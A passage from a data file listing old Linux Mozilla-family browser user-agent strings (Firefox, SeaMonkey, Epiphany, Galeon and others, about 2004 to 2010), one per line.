(X11; U; Linux i686; en-US; rv:1.7.2) Gecko/20040906\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.2) Gecko/20040906 Galeon/1.3.17\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20040913\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20040924 Epiphany/1.4.4 (Ubuntu)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20041007 Debian/1.7.3-5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20041007 Epiphany/1.4.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20041007 Galeon/1.3.18 (Debian package 1.3.18-1.1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041013\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041117 Firefox/1.0 (Debian package 1.0-2.0.0.45.linspire0.4)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041128 Firefox/1.0 (Debian package 1.0-4)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041204 Firefox/1.0 (Debian package 1.0.x.2-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041215 Firefox/1.0 Red Hat/1.0-12.EL4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041218 Firefox/1.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041221\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050210 Firefox/1.0 (Debian package 1.0+dfsg.1-6)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050221 Firefox/1.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050814 Firefox/1.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20060127 Netscape/8.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20070321 Netscape/8.1.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20070321 Netscape/9.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050310 Firefox/1.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050311 Firefox/1.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050319\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050328 Fedora/1.7.6-1.2.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050405 Firefox/1.0 (Ubuntu package 1.0.2)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7) Gecko/20050414\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7) Gecko/20050420 Debian/1.7.7-2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7) Gecko/20050421 Firefox/1.0.3 (Debian package 1.0.3-2)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7) Gecko/20050427 Red Hat/1.7.7-1.1.3.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 SUSE/1.0.4-1.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050512 Firefox/1.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050512 Red Hat/1.7.8-1.1.3.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050513 Debian/1.7.8-1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050513 Epiphany/1.4.8 (Debian)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050513 Fedora/1.0.4-1.3.1 Firefox/1.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050513 Firefox/1.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050513 Galeon/1.3.20 (Debian package 1.3.20-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050517 Firefox/1.0.4 (Debian package 1.0.4-2)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050523 Firefox/1.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050524 Fedora/1.0.4-4 Firefox/1.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050610\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050610 Firefox/1.0.4 (Debian package 1.0.4-3)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050718 Galeon/1.3.20 (Debian package 1.3.20-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050831 Debian/1.7.8-1sarge2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050831 Epiphany/1.4.8 (Debian)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050921\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050927 Debian/1.7.8-1sarge3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050927 Epiphany/1.4.8 (Debian)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051107 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051111 Firefox/1.5 (Ubuntu package 1.5)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051118 Debian/1.4.99+1.5rc3.dfsg-1 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051128 Firefox/1.5 Debian/1.4.99+1.5rc3.dfsg-2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051128 SUSE/1.5-0.1 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051202 Fedora/1.5-0.fc4 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051205 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051210 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051214 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051215 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051217 Debian/1.5.dfsg-2 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051222 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051224 Debian/1.5.dfsg-3 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060102 Flock/0.4.11 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060103 Fedora/1.5-4 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060110 Debian/1.5.dfsg-4 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060111 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060118 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060119 Debian/1.5.dfsg-4ubuntu3 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060130 Ubuntu/1.5.dfsg-4ubuntu6 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060301 SeaMonkey/1.1a Mnenhy/0.7.3.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060806 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060027 (Debian-1.8.0.1-11) Galeon/2.0.1 (Debian package 2.0.1-3)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060106 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060126\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060201 Mandriva/1.5.0.1-3mdk (2006.1) Firefox/1.5.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060203 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060205 CentOS/1.5.0.1-2.c4.centos Firefox/1.5.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060207 Debian/1.5.dfsg+1.5.0.1-0bpo1 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060207 Debian/1.5.dfsg+1.5.0.1-1 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060209 Debian/1.5.dfsg+1.5.0.1-1bpo1 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060209 Debian/1.5.dfsg+1.5.0.1-2 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060210 Fedora/1.5.0.1-2.1 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060210 Ubuntu/dapper Firefox/1.5.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060217 Flock/0.5.11\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060225 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060313 Debian/1.5.dfsg+1.5.0.1-4 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060313 Fedora/1.5.0.1-9 Firefox/1.5.0.1 pango-text\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060314 Flock/0.5.13.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060316 SUSE/1.0-27 SeaMonkey/1.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060324 Ubuntu/dapper Firefox/1.5.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060404 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/Debian-1.8.0.1-5 Galeon/2.0.1 (Debian package 2.0.1-3)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20060911 SUSE/1.5.0.10-0.2 Firefox/1.5.0.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070221 Red Hat/1.5.0.10-0.1.el4 Firefox/1.5.0.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070223 CentOS/1.5.0.10-0.1.el4.centos Firefox/1.5.0.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070223 Fedora/1.0.8-0.5.1.fc5 SeaMonkey/1.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070226 Fedora/1.5.0.10-1.fc6 Firefox/1.5.0.10 pango-text\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070226 Red Hat/1.5.0.10-0.1.el4 Firefox/1.5.0.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070301 SUSE/1.8_seamonkey_1.0.8-0.1 SeaMonkey/1.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070302 Ubuntu/dapper-security Firefox/1.5.0.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070306 SeaMonkey/1.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070306 Thunderbird/1.5.0.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070403 Thunderbird/1.5.0.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070409 CentOS/1.5.0.10-2.el5.centos Firefox/1.5.0.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070510 Fedora/1.5.0.10-6.fc6 Firefox/1.5.0.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.11) Gecko/20070217 Iceape/1.0.8 (Debian-1.0.8-4)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.11) Gecko/20070327 Ubuntu/dapper-security Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.11) Gecko/20070501 Firefox/1.5.0.11 Flock/0.7.13.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070510 Iceape/1.0.9 (Debian-1.0.9-0etch1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070529 Red Hat/1.5.0.12-0.1.el4 Firefox/1.5.0.12\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070530 Fedora/1.5.0.12-1.fc6 Firefox/1.5.0.12\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070719 CentOS/1.5.0.12-0.3.el4.centos Firefox/1.5.0.12\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20071126 Fedora/1.5.0.12-7.fc6 Firefox/1.5.0.12\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.13pre) Gecko/20070505 (Debian-1.8.0.14~pre071019b-0lenny1) Epiphany/2.14\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.13pre) Gecko/20070505 (Debian-1.8.0.15~pre080131b-0etch1) Epiphany/2.14\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.13pre) Gecko/20070505 Iceape/1.0.9 (Debian-1.0.10~pre070720-0etch3)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.13pre) Gecko/20070717 Red Hat/1.0.9-4.el4 SeaMonkey/1.0.9\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.13pre) Gecko/20080207 Galeon/2.0.1 (Ubuntu package 2.0.1-1ubuntu2) Firefox/1.5.0.13pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.13pre) Gecko/20080207 Ubuntu/dapper-security Firefox/1.5.0.13pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.14eol) Gecko/20070505 (Debian-1.8.0.15~pre080614d-0etch1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.14eol) Gecko/20090422 CentOS/1.0.9-0.37.el3.centos3 SeaMonkey/1.0.9\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.14eol) Gecko/20101004 Red Hat/1.0.9-64.el4 SeaMonkey/1.0.9\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko Firefox/1.5.0.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko/20060419 Fedora/1.5.0.2-1.2.fc5 Firefox/1.5.0.2 pango-text\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko/20060630 Red Hat/1.0.1-0.1.9.EL3 SeaMonkey/1.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060326 Firefox/1.5.0.3 (Debian-1.5.dfsg+1.5.0.3-2)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060425 SUSE/1.5.0.3-7 Firefox/1.5.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060504 Fedora/1.5.0.3-1.1.fc5 Firefox/1.5.0.3 pango-text\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060523 Ubuntu/dapper Epiphany/2.14 Firefox/1.5.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060523 Ubuntu/dapper Firefox/1.5.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060406 Firefox/1.5.0.4 (Debian-1.5.dfsg+1.5.0.4-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060508\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060527 SUSE/1.5.0.4-1.3 Firefox/1.5.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Epiphany/2.14 Firefox/1.5.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060612 Firefox/1.5.0.4 Flock/0.7.0.17.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060613 Firefox/1.5.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060614 Fedora/1.5.0.4-1.2.fc5 Firefox/1.5.0.4 pango-text\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060619 SeaMonkey/1.0.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060627 Galeon/2.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060629 Firefox/1.5.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060704 Firefox/1.5.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060711 Firefox/1.5.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060716 Firefox/1.5.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060912 pango-text\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060731 Firefox/1.5.0.5 Flock/0.7.4.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Epiphany/2.14 Firefox/1.5.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060801 Firefox/1.5.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060803 Firefox/1.5.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060806 Firefox/1.5.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060812 Firefox/1.5.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060813 Firefox/1.5.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060820 Firefox/1.5.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060831 Firefox/1.5.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 (Debian-1.5.dfsg+1.5.0.6-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 (Debian-1.5.dfsg+1.5.0.6-4)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 SUSE/1.5.0.6-0.1 Firefox/1.5.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060730 SeaMonkey/1.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060802 Firefox/1.5.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060803 Firefox/1.5.0.6 (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060803 SeaMonkey/1.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060807 Firefox/1.5.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060808 Fedora/1.5.0.6-2.fc5 Firefox/1.5.0.6 pango-text\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060905 Fedora/1.5.0.6-10 Firefox/1.5.0.6 pango-text\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060802 Mandriva/1.5.0.7-1mdv2007.0 (2007.0) Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060830 Firefox/1.5.0.7 (Debian-1.5.dfsg+1.5.0.7-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060830 Firefox/1.5.0.7 (Debian-1.5.dfsg+1.5.0.7-2)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060830 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 (Ubuntu)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 MG(Novarra-Vision/6.9)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 SnapPreviewBot\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060910 SeaMonkey/1.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060911 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060911 Red Hat/1.5.0.7-0.1.el4 Firefox/1.5.0.1 pango-text\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060911 SUSE/1.5.0.7-1.2 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060911 SUSE/1.5.0.7-1.5 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060913 Fedora/1.5.0.7-1.fc5 Firefox/1.5.0.7 pango-text\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060914 SeaMonkey/1.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060915 Firefox/1.5.0.7 (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060916 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060917 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060919 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060922 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060923 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060924 Epiphany/2.14\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060926 Ubuntu/breezy-security Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060928 (Debian-1.8.0.7-1) Epiphany/2.14\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061014 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061022 Iceweasel/1.5.0.7-g2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20060802 Mandriva/1.5.0.8-1.1mdv2007.0 (2007.0) Firefox/1.5.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20060911 SUSE/1.5.0.8-0.2 Firefox/1.5.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061105 Red Hat/1.0.6-0.1.el3 SeaMonkey/1.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061107 Fedora/1.5.0.8-1.fc6 Firefox/1.5.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061110 Firefox/1.5.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061115 Ubuntu/dapper-security Firefox/1.5.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8pre) Gecko/20061001 Firefox/1.5.0.8pre (Iceweasel)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20060911 SUSE/1.5.0.9-0.2 Firefox/1.5.0.9\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20060911 SUSE/1.5.0.9-3.2 Firefox/1.5.0.9\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20061205 (Debian-1.8.0.9-1) Epiphany/2.14\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20061211 SeaMonkey/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20061215 Red Hat/1.5.0.9-0.1.el4 Firefox/1.5.0.9\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20061219 Fedora/1.5.0.9-1.fc6 Firefox/1.5.0.9 pango-text\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20061219 Iceape/1.0.7 (Debian-1.0.7-3)\nMozilla/5.0 (X11; U; Linux i686; en-US; 